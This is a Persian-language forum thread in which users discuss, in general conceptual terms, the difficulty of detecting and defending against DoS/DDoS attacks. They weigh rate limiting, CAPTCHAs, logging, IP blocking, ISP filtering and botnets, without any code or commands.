روشهای شناسایی و مقابله با حملات DOS/DDOS

[eshpilen]

بیخود دلتون رو صابون نزنید؛ نمیخوام راه حلهای جالب و قطعی معرفی کنم، بلکه تازه میخوایم یخورده روی این موضوع همفکری کنیم و اینکه کسی تجربه و اطلاعات بیشتری اگر داره مطرح کنه.

بنظر بنده جلوگیری از حملات DDOS از دید برنامه نویسی یکی از مبهم ترین و ناخوشایندترین کارهاست. یجورایی شبیه بیماری صعب العلاج میمونه یا حتی لاعلاج که درمان راحت و قطعی نداره. بخصوص در حمله های DDOS بزرگ که از IP های زیادی، حجم عظیمی داده های آشغال به سرور شما ارسال میشن.

فکر کنید وقتی با ترافیک چند گیگابایت بر ثانیه به سایتی حمله بشه، برنامه نویس چکار میتونه بکنه؟ اصلا کل اون سرور هم احتمالا نمیتونه کاری بکنه.
مثل این میمونه که یک کامیون و یک وانت شاخ به شاخ بشن و هرکدام بخوان دیگری رو به عقب هل بدن. معلومه که به احتمال خیلی زیاد اونی که وزنش بیشتره، لاستیکش گنده تره، زورش زیادتره، پیروز میشه!
البته سایتهای معمولی که با ترافیک خیلی کمتر از این از پا درمیان.
حمله های گیگابایتی به سرورهای قدرتمند شرکتهای بزرگ صورت گرفتن.

بعضیا DDOS رو خوب درک نکردن و فکر میکنن که برنامه نویس عادی در سطح اپلیکیشن و سایت وب خودش میتونه و باید اون رو هندل کنه؛ اما اینطوری نیست! یعنی همیشه اینطوری نیست. بعضی وقتا هست، بعضی وقتا نیست، بعضی وقتا میشه، بعضی وقتا نمیشه. بخاطر اینکه حملات DDOS از نظر قدرت و نوع انواع متعددی دارن و تشخیص و جلوگیری همزمان تمام اونا بسیار دشوار و پیچیده است و خیلی مواردش اصلا در سطح اپلیکیشن های عادی وب نیستن.
خیلی حمله های DDOS هست که در همون قدمهای اول، یعنی قبل از اینکه نوبت بخواد به برنامهء شما برسه و قدرت پردازش و پهنای باند کافی برای سرور باقی مونده باشه که بخواد در اختیار برنامهء شما قرار بگیره و برنامهء شما بتونه با تصمیم و عکس العمل خودش در این زمینه موثر باشه، بخشهای پایه ای تری رو از کار میندازن. در اینطور موارد در سطح برنامه های عادی نمیشه کار خاصی کرد، و باید راهکارها در سطوح دیگر و اساسی تر و لایه های دیگری پیاده بشن.

بطور مثال با حمله های DDOS میشه روترهایی رو که در مسیر ارتباط سرور شما با دنیای خارج قرار دارن از کار انداخت. اگر ترافیک از این مرحله عبور کنه و به سرور برسه، باز قبل از برنامه های شما بعضی بخشها و سرویسهای پایه ای (منجمله خود سیستم عامل) وجود دارن که ممکنه از کار بیافتن و نوبت هیچوقت به برنامهء شما نرسه که بخواد کاری بکنه یا نکنه. در آخرین قدم ها ممکنه ترافیک به نرم افزار وب سرور (مثل آپاچی) برسه، و اگر حمله نتونه سرور رو در این لایه از کار بندازه، نهایت به برنامهء شما میرسه که اونوقت بستگی به برنامهء شما و داشتن و نداشتن تمهیدات در این زمینه و شدت و نوع حملهء DDOS داره که حمله موفق به از کار انداختن کارکرد عادی برنامهء شما برای کاربران دیگر بشه یا نه. بهرحال نباید فکر کرد که در تمام موارد میشه جلوی این حمله رو 100% گرفت، بلکه فقط میشه استقامت رو تا جای ممکن بیشتر کرد که برای از کار افتادن سایت نیاز به حمله های DDOS بزرگتری باشه و امیدوار بود که حمله کننده منابع لازم برای چنین حملهء بزرگی رو در اختیار نداشته باشه یا اینکه انگیزهء کافی برای اختصاص این همه منابع برای حمله به سایت شما نداشته باشه و بنظرش صرف نکنه.

تشخیص و بخصوص جلوگیری از DDOS کار مشکل و آزاردهنده ای است، بخاطر اینکه اولا که باید درخواستهای جعلی رو از درخواستهای عادی تشخیص داد که این میتونه دشوار و غیرمطمئن باشه، و دوما اینکه جلوی یک نیروی حیوانی رو خیلی وقتا فقط میشه با نیروی حیوانی قوی تری گرفت، یعنی قدرت بیشتر (قدرت پردازشی و پهنای باند)، و سوما اینکه خود تشخیص و جلوگیری از این درخواستها نیاز به منابع پردازشی و پهنای باند کافی داره که برنامه و سرور شما بهش نیاز داره اما حمله کننده بهش نیازی نداره، چهارما اینکه خیلی از مکانیزم های امنیتی مهم و پیشرفته، مثل هش پسورد، تولید کپچا، رمزنگاری، و غیره که برای تامین امنیت دربرابر انواع حمله های دیگری غیر از DDOS نیاز هستن خودشون پردازش و زمان قابل توجهی رو مصرف میکنن که این باعث کاهش استقامت در برابر حمله های DDOS میشه؛ یعنی شما اگر بخواید به DDOS اولویت بدید و دربرابرش حداکثر استقامت رو بدست بیارید، نیاز دارید که برنامه رو تا حداکثر ممکنه بهینه کنید که هیچ، تازه بیاید و از امنیت در یکسری بخشهای دیگر هم بزنید که برنامه سبک و سریع بشه، که البته بنده این رو توصیه نمیکنم (طبیعتا چون امنیت برنامه دربرابر حمله های دیگر پایین میاد) مگر در مواردی که واقعا مجبور باشید و جلوگیری از حمله های DDOS در اولویت باشن، پنجما اینکه حتی همون کدهایی که برای تشخیص و جلوگیری از DDOS مینویسید هم باعث سنگین تر شدن و کندتر شدن برنامه میشن که این میتونه به نفع هکر تموم بشه (البته مسلما در جای خودش وقتی درست طراحی و پیاده سازی بشه میتونه حداقل دربرابر انواع مشخصی از حمله های DDOS به صرفه باشه و خیلی بیشتر از چیزی که خودش پردازش مصرف میکنه جلوی حمله و بار پردازشی ناشی از حملات رو بگیره).

[abolfazl-z]

من زیاد در زمینه شبکه تخصص ندارم ولی یک سوال ؟

حمله کننده ها میان با IP تقلبی ترافیک ایجاد می کنند ؟

[eshpilen]

همونطور که اشاره شد، حملات DOS/DDOS انواع متنوعی دارن و هرکدام هدفشون حمله به یک یا چند سخت افزار/نرم افزار/مکانیزم مختلف است. بله جعل IP هم در خیلی موارد صورت میگیره اما در بعضی موارد هم ممکنه صورت نگیره یا اصلا نشه؛ بستگی به نوع حمله و مکانیزم هدف داره و انگیزه و وقت و امکانات/سواد حمله کننده که IP کلاینت جعلی باشه یا نه. نمیشه در چند خط حرف کلی و مطمئنی زد در این مورد.
البته اگر بحث رو فقط به لایهء اپلیکیشن (سطحی که ما برنامه نویسان سایت و اپلیکیشن های وب درش کار میکنیم) محدود کنیم، اونوقت بنظرم محدودهء بحث میتونه خیلی کوچکتر و دقیقتر و ساده تر بشه.

[abolfazl-z]

همونطور که اشاره شد، حملات DOS/DDOS انواع متنوعی دارن و هرکدام هدفشون حمله به یک یا چند سخت افزار/نرم افزار/مکانیزم مختلف است. بله جعل IP هم در خیلی موارد صورت میگیره اما در بعضی موارد هم ممکنه صورت نگیره یا اصلا نشه؛ بستگی به نوع حمله و مکانیزم هدف داره و انگیزه و وقت و امکانات/سواد حمله کننده که IP کلاینت جعلی باشه یا نه. نمیشه در چند خط حرف کلی و مطمئنی زد در این مورد.
البته اگر بحث رو فقط به لایهء اپلیکیشن (سطحی که ما برنامه نویسان سایت و اپلیکیشن های وب درش کار میکنیم) محدود کنیم، اونوقت بنظرم محدودهء بحث میتونه خیلی کوچکتر و دقیقتر و ساده تر بشه.

خوب نمیشه مثلا قبل از اینکه درخواست ها به سیستم قربانی برسد جلوی ان را گرفت ؟

مثلا وظیفه ISP نیست ؟

یا یک چیزی مثل firewall جهانی یا چیزی توی همین مایه ها وجود ندارد ؟

th.jpg

[saeedvir]

Firewall سخت افزاری بهترین گزینه است (نه 100 درصد)

[eshpilen]

خوب نمیشه مثلا قبل از اینکه درخواست ها به سیستم قربانی برسد جلوی ان را گرفت ؟

مثلا وظیفه ISP نیست ؟

یا یک چیزی مثل firewall جهانی یا چیزی توی همین مایه ها وجود ندارد ؟

چرا ISP ها هم میتونن یه کارهایی بکنن و بعضا میکنن. ولی ظاهرا در این زمینه وحدت رویه و استاندارد و قانون های جامع و دقیقی وجود ندارن و یک ISP ممکنه جلوی یکسری چیزهایی رو به یکسری روشهایی تا حدی بگیره و یک ISP دیگر ممکنه تفاوت بکنه در اینکه جلوی چی رو چطوری و تا چه حدی میگیره یا اصلا شاید تقریبا هیچ کاری نکنه. بهرحال تشخیص و جلوگیری از این همه انواع حمله از لحاظ فنی کار ساده و کم هزینه ای هم نباید باشه. خیلی وقتا هم اگر زیادی بخواد حساسیت و جامعیت در این زمینه اعمال بشه میتونه خودش منجر به مشکلات فنی برای کاربران بشه و مسدود شدن بعضی ارتباطهای مورد نیاز و تشخیص اشتباه و این حرفا. در تمام موارد هم نمیشه براحتی ترافیک خطرناک رو از ترافیک عادی تشخیص داد. در بعضی موارد که تقریبا غیرممکن میشه (اگر ISP به تنهایی و بخصوص بصورت خودکار بخواد این کار رو بکنه).

راستی در صحبت قبلی گفتم آدرس IP فرستنده میتونه جعلی باشه؛ این رو درمورد بعضی انواع حمله های DDOS گفتم؛ وگرنه اگر بحث در سطح HTTP و برنامه نویسی PHP باشه، IP کلاینت نمیتونه جعلی باشه (ولی بهرحال هکر ممکنه از پراکسی و رایانه زامبی یا Botnet استفاده کرده باشه).

[metal gear solid 4]

سلام
به نظر من راه های اساسی در سطح PHP میتونه اینا باشه:
1- در گام اول. تشخیص تعداد درخواست های یک آیپی. هر آیپی که باشه. معتبر یا غیر معتبر و محدود کردن تعداد درخواست ها ( مثلاً 10 تا در ثانیه. ) هیچ انسانی نمیتونه 10 درخواست در ثانیه به سرور بفرسته.
2- داشتن کپچا یا سوال امنیتی تا بتونید انسان رو از ربات تشخیص بدید.
3- گرفتن لاگ از تمامی درخواست های ارسال شده به سمت سرور.

[eshpilen]

1- در گام اول. تشخیص تعداد درخواست های یک آیپی. هر آیپی که باشه. معتبر یا غیر معتبر و محدود کردن تعداد درخواست ها ( مثلاً 10 تا در ثانیه. ) هیچ انسانی نمیتونه 10 درخواست در ثانیه به سرور بفرسته.

بعضی وقتا یه IP ممکنه بین تعداد زیادی کاربر Share شده باشه.
گویا مثلا IP اینترنت شبکهء تلفن همراه اینطوریه (مطمئن نیستم ولی جایی دیدم یه نفر اینطور گفته).
همینطور بعضی جاها و شرایط دیگه همچین چیزی ممکنه. مثلا بعلت استفادهء تعداد زیادی از کاربران از یک پراکسی مشترک بعلت خاصی یا بعضی ISP ها در بعضی کشورها شاید (بنظرم جایی چنین چیزی خونده بودم) ممکنه یک IP رو بین کاربران زیادی شیر کنن.
بعد خود این نیاز به درج و کوئری دیتابیس در هر درخواست داره بنظرم، که خودش پردازش و زمان هر درخواست رو زیاد میکنه و بنابراین ممکنه استقامت دربرابر حمله های DDOS رو کمتر هم بکنه. البته بستگی به تمام پارامترها داره. مثلا بستگی به این که پردازش عادی همون صفحه بدون این مکانیزم چقدر باشه؛ یعنی کمتر یا بیشتر از پردازش و زمان این مکانیزم.

2- داشتن کپچا یا سوال امنیتی تا بتونید انسان رو از ربات تشخیص بدید.

اینم در بعضی موارد شاید بشه استفاده کرد؛ بد نیست. البته کپچا رو که هرجا نمیشه گذاشت. دم به دم و واسه کارهای عادی که کپچا نمیذارن. در بعضی موارد هم شاید بطور عادی نذاریم ولی اگر سیستم احتمال حمله/روبات رو تشخیص داد اونوقت کپچا بخوایم.
باز اینم بستگی به پارامترهای دیگر هم داره. چون ایجاد کپچا خودش پردازش و زمان مصرف میکنه که باید دید چقدره. یوقت دیدی طرف از همون پردازش کپچا سوء استفاده کرد برای موثرتر کردن حمله!!

3- گرفتن لاگ از تمامی درخواست های ارسال شده به سمت سرور.

یعنی واسه خودمون که بعدا بررسی کنیم ببینیم چی شده؟

------------------------------

بنظرم تا اینجا متوجه میشیم که راه حل کلی و مطلقی برای جلوگیری از حمله های DOS و DDOS وجود نداره. بستگی به سایت و برنامش و تمام پارامترهاش داره که راه حل دقیقا چی باشه و چقدر بتونه موثر باشه و اصلا بشه در سطح اپلیکیشن دفاع کرد یا نه (ممکنه نیاز به استفاده از راه حل در لایه های دیگری باشه). بنظرم صرف نمیکنه و عاقلانه نیست که همینطور از اول بخوایم از خودمون در این زمینه سیستمهای گسترده و پیچیده ای رو طراحی و پیاده سازی کنیم، و بهتره منتظر باشیم (اولا دعا کنیم که حمله ای رخ نده) تا حمله رخ بده و بعد بررسیش کنیم ببینیم از چه نوعی و چه شدتی هست و بعد روی راه حلش فکر کنیم و طراحی و پیاده سازی کنیم. البته ایجاد سیستم لاگ و هشدار رفتارهای مشکوک برای این منظور لازمه که بتونیم به موقع آگاه بشیم و اطلاعات کافی برای تشخیص نوع/مکانیزم و شدت حمله و عکس العمل مناسب و به موقع رو داشته باشیم (ولی جلوگیری پیشاپیش فکر نمیکنم عملی/عاقلانه باشه هم بخاطر احتمال خطاش و هم بخاطر هزینه هاش (ممکنه اون نوع/شدت حمله ها هیچوقت رخ ندن) و هم بخاطر اینکه احتمال اینکه در عمل موثر نباشه یا حتی در مواردی باعث تشدید اثر حمله بشه چندان کم نیست).

حالا راجع به یه نوع سیستمهای پیشرفته ای هم که با این موضوع ارتباط دارن چیزایی میدونم که فکر میکنم بعدا سرفرصت مطرح کنم

این ایده ها و روشهایی که شما مطرح کردید میره توی جعبه ابزار ما. اونایی هم که بنده بعدا میگم باز میرن توی جعبه ابزار. بعد دیگه بستگی داره که در هر موردی تشخیص بدیم از کدوم میشه/بهتر/صرف میکنه استفاده کنیم. میشه از ترکیبی از چندتاشون هم استفاده کرد یا بصورت لایه ای و سطح به سطح بسته به نوع/شدت حمله و احتمالا فیدبک خود سیستم (که نشون میده جلوی یک حمله تا چه حد گرفته شده یا نه).

[metal gear solid 4]

بعضی وقتا یه IP ممکنه بین تعداد زیادی کاربر Share شده باشه.
گویا مثلا IP اینترنت شبکهء تلفن همراه اینطوریه (مطمئن نیستم ولی جایی دیدم یه نفر اینطور گفته).
همینطور بعضی جاها و شرایط دیگه همچین چیزی ممکنه. مثلا بعلت استفادهء تعداد زیادی از کاربران از یک پراکسی مشترک بعلت خاصی یا بعضی ISP ها در بعضی کشورها شاید (بنظرم جایی چنین چیزی خونده بودم) ممکنه یک IP رو بین کاربران زیادی شیر کنن.
بعد خود این نیاز به درج و کوئری دیتابیس در هر درخواست داره بنظرم، که خودش پردازش و زمان هر درخواست رو زیاد میکنه و بنابراین ممکنه استقامت دربرابر حمله های DDOS رو کمتر هم بکنه. البته بستگی به تمام پارامترها داره. مثلا بستگی به این که پردازش عادی همون صفحه بدون این مکانیزم چقدر باشه؛ یعنی کمتر یا بیشتر از پردازش و زمان این مکانیزم.


اینم در بعضی موارد شاید بشه استفاده کرد؛ بد نیست. البته کپچا رو که هرجا نمیشه گذاشت. دم به دم و واسه کارهای عادی که کپچا نمیذارن. در بعضی موارد هم شاید بطور عادی نذاریم ولی اگر سیستم احتمال حمله/روبات رو تشخیص داد اونوقت کپچا بخوایم.
باز اینم بستگی به پارامترهای دیگر هم داره. چون ایجاد کپچا خودش پردازش و زمان مصرف میکنه که باید دید چقدره. یوقت دیدی طرف از همون پردازش کپچا سوء استفاده کرد برای موثرتر کردن حمله!!


یعنی واسه خودمون که بعدا بررسی کنیم ببینیم چی شده؟

------------------------------

بنظرم تا اینجا متوجه میشیم که راه حل کلی و مطلقی برای جلوگیری از حمله های DOS و DDOS وجود نداره. بستگی به سایت و برنامش و تمام پارامترهاش داره که راه حل دقیقا چی باشه و چقدر بتونه موثر باشه و اصلا بشه در سطح اپلیکیشن دفاع کرد یا نه (ممکنه نیاز به استفاده از راه حل در لایه های دیگری باشه). بنظرم صرف نمیکنه و عاقلانه نیست که همینطور از اول بخوایم از خودمون در این زمینه سیستمهای گسترده و پیچیده ای رو طراحی و پیاده سازی کنیم، و بهتره منتظر باشیم (اولا دعا کنیم که حمله ای رخ نده) تا حمله رخ بده و بعد بررسیش کنیم ببینیم از چه نوعی و چه شدتی هست و بعد روی راه حلش فکر کنیم و طراحی و پیاده سازی کنیم. البته ایجاد سیستم لاگ و هشدار رفتارهای مشکوک برای این منظور لازمه که بتونیم به موقع آگاه بشیم و اطلاعات کافی برای تشخیص نوع/مکانیزم و شدت حمله و عکس العمل مناسب و به موقع رو داشته باشیم (ولی جلوگیری پیشاپیش فکر نمیکنم عملی/عاقلانه باشه هم بخاطر احتمال خطاش و هم بخاطر هزینه هاش (ممکنه اون نوع/شدت حمله ها هیچوقت رخ ندن) و هم بخاطر اینکه احتمال اینکه در عمل موثر نباشه یا حتی در مواردی باعث تشدید اثر حمله بشه چندان کم نیست).

حالا راجع به یه نوع سیستمهای پیشرفته ای هم که با این موضوع ارتباط دارن چیزایی میدونم که فکر میکنم بعدا سرفرصت مطرح کنم

این ایده ها و روشهایی که شما مطرح کردید میره توی جعبه ابزار ما. اونایی هم که بنده بعدا میگم باز میرن توی جعبه ابزار. بعد دیگه بستگی داره که در هر موردی تشخیص بدیم از کدوم میشه/بهتر/صرف میکنه استفاده کنیم. میشه از ترکیبی از چندتاشون هم استفاده کرد یا بصورت لایه ای و سطح به سطح بسته به نوع/شدت حمله و احتمالا فیدبک خود سیستم (که نشون میده جلوی یک حمله تا چه حد گرفته شده یا نه).

یکی از نگرانی های من در زمینه ی امنیت همیشه از جناح این حملات بوده و هست. خوشحال میشیم اگر اطلاعات خوبی در این زمینه دارید به اشتراک بگذارید.

راجع به آیپی نظر خاصی ندارم. اطلاعات شبکه ای من در این زمینه کافی نیست.
در زمینه ی کپچا، آره برای هر قسمتی نمیشه کپچا گذاشت اما حداقل میشه برای کارهای خاص اینکارو انجام داد. مثل لاگین یا ثبت نام. خب طبیعتاً یک کاربر لاگین شده امکانات بیشتری نسبت به مهمان ها داره و با همین کپچاها حداقل امنیت رو رعایت کردیم. خودتون هم اشاره کردید که جلوی این حملات رو نمیشه 100 در 100 گرفت. دیگه چه برسه با استفاده از PHP بخاد صورت بگیره. ضمن اینکه من نظرم همیشه بر این بوده که برای بازدهی و performance بهتر، برای کارهایی مثل کپچا یا queue ها از سرویس هایی که در سطح وب ارائه میشه استفاده کرد. مثلاً برای کپچا از سیستم کپجای گوگل بهره ببریم. هم پردازش سرور ما کمتر میشه هم امنیت کپجا بالاتر از چیزیه که خودمون ایجاد میکنیم.
سیستم لاگ گیری هم به همین دلیل گفتم که بعد از حمله بشه اطلاعاتی راجع به نوع حملات و شدتش به دست بیاریم. ممکنه لاگ فایل هامون شامل میلیون ها لاگ باشه و این میتونه کمک شایانی در جلوگیری یا بهتر عمل کردن در دفعات بعدی باشه!!

[abolfazl-z]

چرا ISP ها هم میتونن یه کارهایی بکنن و بعضا میکنن. ولی ظاهرا در این زمینه وحدت رویه و استاندارد و قانون های جامع و دقیقی وجود ندارن و یک ISP ممکنه جلوی یکسری چیزهایی رو به یکسری روشهایی تا حدی بگیره و یک ISP دیگر ممکنه تفاوت بکنه در اینکه جلوی چی رو چطوری و تا چه حدی میگیره یا اصلا شاید تقریبا هیچ کاری نکنه. بهرحال تشخیص و جلوگیری از این همه انواع حمله از لحاظ فنی کار ساده و کم هزینه ای هم نباید باشه. خیلی وقتا هم اگر زیادی بخواد حساسیت و جامعیت در این زمینه اعمال بشه میتونه خودش منجر به مشکلات فنی برای کاربران بشه و مسدود شدن بعضی ارتباطهای مورد نیاز و تشخیص اشتباه و این حرفا. در تمام موارد هم نمیشه براحتی ترافیک خطرناک رو از ترافیک عادی تشخیص داد. در بعضی موارد که تقریبا غیرممکن میشه (اگر ISP به تنهایی و بخصوص بصورت خودکار بخواد این کار رو بکنه).

راستی در صحبت قبلی گفتم آدرس IP فرستنده میتونه جعلی باشه؛ این رو درمورد بعضی انواع حمله های DDOS گفتم؛ وگرنه اگر بحث در سطح HTTP و برنامه نویسی PHP باشه، IP کلاینت نمیتونه جعلی باشه (ولی بهرحال هکر ممکنه از پراکسی و رایانه زامبی یا Botnet استفاده کرده باشه).

خوب حجم داده ای که از سیستم هکر ارسال میشه چیزی نیست که نشه فهمید !

و داده هایی که هکر ارسال می کنه چیزی نیست که نشه خوندش !

البته همانطور که گفتم دانش من زیاد نیست ولی همانطور که معلوم هست میشه یه طوری جلوشو گرفت.

پس کسی که آی پی تقلبی ارسال میکنه باید بلاک بشه ! میشه چنین قانونی ؟ اصلا شدنی است ؟

پس کسی که داده های حجیم در یک زمان خاص ارسال مینکه میشه تشخیص داد ؟

اگر میشه لازم نیست طرف سریع بلاک بشه فقط لازم توی لیست دیگر نه لیست سیاه قرار بگیرد و سیستم روی آن اکانت حساس تر عمل کند.

[eshpilen]

یکی از نگرانی های من در زمینه ی امنیت همیشه از جناح این حملات بوده و هست. خوشحال میشیم اگر اطلاعات خوبی در این زمینه دارید به اشتراک بگذارید.

نگران بودی ولی تاحالا سرت نیامده؟
خب منم همین رو میگم که بخاطر یک نگرانی نباید از قبلش اینقدر دستپاچه شد و همینطوری روی هوا کلی سیستم و مکانیزم پیاده کرد که معلوم نیست در عمل اصلا به دردی بخورن.
البته مکانیزم لاگ و تشخیص و هشدار رو باید گذاشت. در کنارش یه مکانیزم کلی هم میتونیم بذاریم بطور مثال بصورت بلاک کردن IP های خاص و محدوده IP های خاص، یا حتی امکان استفاده از لیست سفید رو هم بذاریم (فقط IP های مشخص شده مجاز به دسترسی باشن). اینطوری موقعی که حمله ای رخ بده احتمالش زیاده که بشه از این سیستم برای مقابلهء سریع درمقابلش استفادهء موثری کرد. البته این سیستم بصورت دستی هست دیگه، چون پیاده سازی انواع خودکارش دشوارتر و پیچیده تره و زیاد هم نمیشه به موثر بودنش مطمئن بود یا اینکه خودش موجب مشکلی نشه. ضمنا بنظرم در این سیستم بلاک IP باید این امکان رو بذاریم که بتونیم تعداد زیادی IP رو از طریق فایلی چیزی به سرعت وارد کنیم، چون ممکنه تعداد IP های حمله کننده زیاد باشه که دستی وارد کردن اونا دشوار و زمانبر باشه.

در زمینه ی کپچا، آره برای هر قسمتی نمیشه کپچا گذاشت اما حداقل میشه برای کارهای خاص اینکارو انجام داد. مثل لاگین یا ثبت نام. خب طبیعتاً یک کاربر لاگین شده امکانات بیشتری نسبت به مهمان ها داره و با همین کپچاها حداقل امنیت رو رعایت کردیم.

البته فکر نمیکنم گذاشتن کپچا بطور پیشفرض کار عاقلانه ای باشه (از نظر یوزرفرندلی). میتونیم بصورت پیشفرض غیرفعال بذاریم و موقعی که حمله شد فعال بشه (حالا یا بصورت خودکار یا بصورت دستی).
البته کپچا برای جلوگیری از استفاده از روباتهای دیگر هم هست.

برای بازدهی و performance بهتر، برای کارهایی مثل کپچا یا queue ها از سرویس هایی که در سطح وب ارائه میشه استفاده کرد. مثلاً برای کپچا از سیستم کپجای گوگل بهره ببریم. هم پردازش سرور ما کمتر میشه هم امنیت کپجا بالاتر از چیزیه که خودمون ایجاد میکنیم.

من زیاد از این توزیع شدن بین اجزایی که تحت کنترل و مالکیت خودمون نیستن خوشم نمیاد. هم از نظر فنی این باعث افزایش نقاط شکننده در برنامه میشه و هم از نظر سیاسی و وابستگی و اینا خب جالب نیست. مثلا حساب کنید در شرایطی ممکنه ما رو تحریم کنن و اونوقت این سیستم از کار میفته، از اینور ممکنه سایت یا سرویسهای گوگل بصورت عمدی یا حتی تصادفی و غیرعمدی فیلتر بشن و باز سیستم از کار میفته، بعد بهرحال هرکس که توی سایت شما میره آمارش به سرورهای گوگل هم ارسال میشه و در اینترنت دور شمسی قمری میزنه این اطلاعات و این باعث کاهش قابل توجه سطح Privacy و امنیت میشه، اگر مشکل فنی در هرکجای سرورهای اونا یا مسیر ارتباطی تا شما پیش بیان شما هم تحت تاثیر قرار میگیرید، اگر مشکل امنیتی براشون پیش بیاد بازم همینطور، خیلی وقتا هم دیدم که استفاده از سرویسهای خارجی ممکنه باعث کندی و وقفه بشه، ... . خلاصه این استفاده از سرویسهای خارجی پارامترهای رو گسترده و پیچیده میکنه و وابستگی و کاهش اطمینان ایجاد میکنه، که من شخصا خوشم نیامده تاحالا و ترجیح میدم تاجاییکه میتونم این کار رو نکنم؛ هرچند شاید در نهایت و حداقل در بعضی موارد، چارهء دیگری نباشه و مجبور باشیم به این کار/مزایاش از معایبش بیشتر باشه.

سیستم لاگ گیری هم به همین دلیل گفتم که بعد از حمله بشه اطلاعاتی راجع به نوع حملات و شدتش به دست بیاریم. ممکنه لاگ فایل هامون شامل میلیون ها لاگ باشه و این میتونه کمک شایانی در جلوگیری یا بهتر عمل کردن در دفعات بعدی باشه!!

شاید باید مواظب باشیم و محدودیتی روی حجم اطلاعات لاگ هم بذاریم، چون ممکنه ما به موقع متوجه نشیم و همین اطلاعات فضای در دسترس سایت رو پر کنن و اینطوری باز مشکل پیش بیاد. اصلا یکی از روشهای حمله های داس همینه که میان و فضای در دسترس دیتابیس یا سایت رو پر میکنن و اینطوری کارکرد سایت یا بخشی از اون کند یا متوقف میشه. هرچند شاید امروزه روز این روش دیگه زیاد موثر و معمول نباشه (بخاطر افزایش چشمگیر فضای ذخیره سازی).

[omidabedi]

خوب حجم داده ای که از سیستم هکر ارسال میشه چیزی نیست که نشه فهمید !

و داده هایی که هکر ارسال می کنه چیزی نیست که نشه خوندش !

البته همانطور که گفتم دانش من زیاد نیست ولی همانطور که معلوم هست میشه یه طوری جلوشو گرفت.

پس کسی که آی پی تقلبی ارسال میکنه باید بلاک بشه ! میشه چنین قانونی ؟ اصلا شدنی است ؟

پس کسی که داده های حجیم در یک زمان خاص ارسال مینکه میشه تشخیص داد ؟

اگر میشه لازم نیست طرف سریع بلاک بشه فقط لازم توی لیست دیگر نه لیست سیاه قرار بگیرد و سیستم روی آن اکانت حساس تر عمل کند.

حملات DDOS که کاربر عادی نمیاد از رو سیستم خودش attack کنه که

حملات DDOS نیازمند چندین سرور قدرتمند هست که در یک زمان حجم بالایی از درخواست هارو به سرور هدف بفرستند

این سرورها ماله دیتاسنترهای مختلف هستند که هرکدومشون ترافیک و پهنای بانده بالایی رو رد و بدل میکنن پس ISP نمیتونه براحتی متوجه بشه

که ترافیک های این دیتاسنتر اهداف خرابکارانه دارن

برای ip هم یک سرور میتونه هر درخواست رو از یک proxy بفرسته اینجوری شما درخواست هاتونو به سرور proxy میدید و اون به هدف ارسال میکنه

همونطور که اقای eshpilen گفتن حملات DDOS مختلف هستن

اقای eshpilen درباره ی نوع های مختلفش هم توضیح بدید

[nrp man]

اخیرا NCCIC یک quick guide منتشر کرد که به شرح مختصری درباره انواع حملات تکذیب سرویس و روشهای مقابله با آن پرداخته است.برای دریافت به این لینک مراجعه کنید.

[metal gear solid 4]

حملات DDOS که کاربر عادی نمیاد از رو سیستم خودش attack کنه که

حملات DDOS نیازمند چندین سرور قدرتمند هست که در یک زمان حجم بالایی از درخواست هارو به سرور هدف بفرستند

این سرورها ماله دیتاسنترهای مختلف هستند که هرکدومشون ترافیک و پهنای بانده بالایی رو رد و بدل میکنن پس ISP نمیتونه براحتی متوجه بشه

که ترافیک های این دیتاسنتر اهداف خرابکارانه دارن

برای ip هم یک سرور میتونه هر درخواست رو از یک proxy بفرسته اینجوری شما درخواست هاتونو به سرور proxy میدید و اون به هدف ارسال میکنه

همونطور که اقای eshpilen گفتن حملات DDOS مختلف هستن

اقای eshpilen درباره ی نوع های مختلفش هم توضیح بدید

البته این امکان هست که از طریق سیستم های کاربران معمولی هم حملات صورت بگیره. یک تیم یا حتی یک شخص میتونه بدافزاری رو روی سیستم های افراد و کاربران عادی دیگه نصب کنه که طی یک زمان خاص در صورتی که به اینترنت دسترسی داشتند اجرا بشن و درخواست های زیادی رو به یک سرور ارسال کنند. به این روش مجموع تمامی این درخواست ها از کابران عادی در یک زمان خاص یک حمله ی DDOS رو تشکیل میده.

[eshpilen]

خوب حجم داده ای که از سیستم هکر ارسال میشه چیزی نیست که نشه فهمید !

درسته ولی حالا کی گفته در حمله های داس حتما حجم درخواست غیرعادیه؟

و داده هایی که هکر ارسال می کنه چیزی نیست که نشه خوندش !

بخونی چکار کنی مثلا؟
چطوری از کجاش بصورت خودکار میشه تشخیص داد که حمله است؟
اومدیم و هکر داده ها رو بصورت هوشمندتر و طوری که بنظر نرمال بیاد ارسال کرد.

پس کسی که آی پی تقلبی ارسال میکنه باید بلاک بشه ! میشه چنین قانونی ؟ اصلا شدنی است ؟

البته اگر در سطح PHP صحبت کنیم، IP نمیتونه تقلبی باشه. البته بسته به اینکه منظورت از تقلبی دقیقا چی باشه!

پس کسی که داده های حجیم در یک زمان خاص ارسال مینکه میشه تشخیص داد ؟

چطوری مثلا؟ حجم POST رو چک میکنی؟ حجم تمام متغییرهای پست شده رو جمع میزنی اگر از یک مقداری بیشتر بود؟ همینطور بنظرم متغییرهای get رو هم باید چک کنی. همینطور آپلود فایل احتمالی.

اگر میشه لازم نیست طرف سریع بلاک بشه فقط لازم توی لیست دیگر نه لیست سیاه قرار بگیرد و سیستم روی آن اکانت حساس تر عمل کند.

آره این ایدهء خوبیه که براحتی بلاک کامل و دائمی نشه بصورت خودکار.

[eshpilen]

البته این امکان هست که از طریق سیستم های کاربران معمولی هم حملات صورت بگیره. یک تیم یا حتی یک شخص میتونه بدافزاری رو روی سیستم های افراد و کاربران عادی دیگه نصب کنه که طی یک زمان خاص در صورتی که به اینترنت دسترسی داشتند اجرا بشن و درخواست های زیادی رو به یک سرور ارسال کنند. به این روش مجموع تمامی این درخواست ها از کابران عادی در یک زمان خاص یک حمله ی DDOS رو تشکیل میده.

بله به مجموع تعداد زیادی از این کامپیوترهای به اصطلاح زامبی میگن Botnet.
بین معروفاش از چند صدتاییش داره تا چند میلیون رایانهء آلوده.
البته تمام این رایانه ها و Botnet ها لزوما از نوع زامبی (رایانهء یک شخص دیگر که بدون اطلاعش روش نرم افزار هکر نصب شده) نیستن. توشون ممکنه بعضی سرورها هم باشن (طبیعتا هرچی اون رایانه قویتر باشه و اتصال اینترنت دائمی و قوی تری داشته باشه ارزش بیشتری داره)؛ حالا یا از نوع زامبی یا مال خود هکرهاست.

[abolfazl-z]

درسته ولی حالا کی گفته در حمله های داس حتما حجم درخواست غیرعادیه؟


بخونی چکار کنی مثلا؟
چطوری از کجاش بصورت خودکار میشه تشخیص داد که حمله است؟
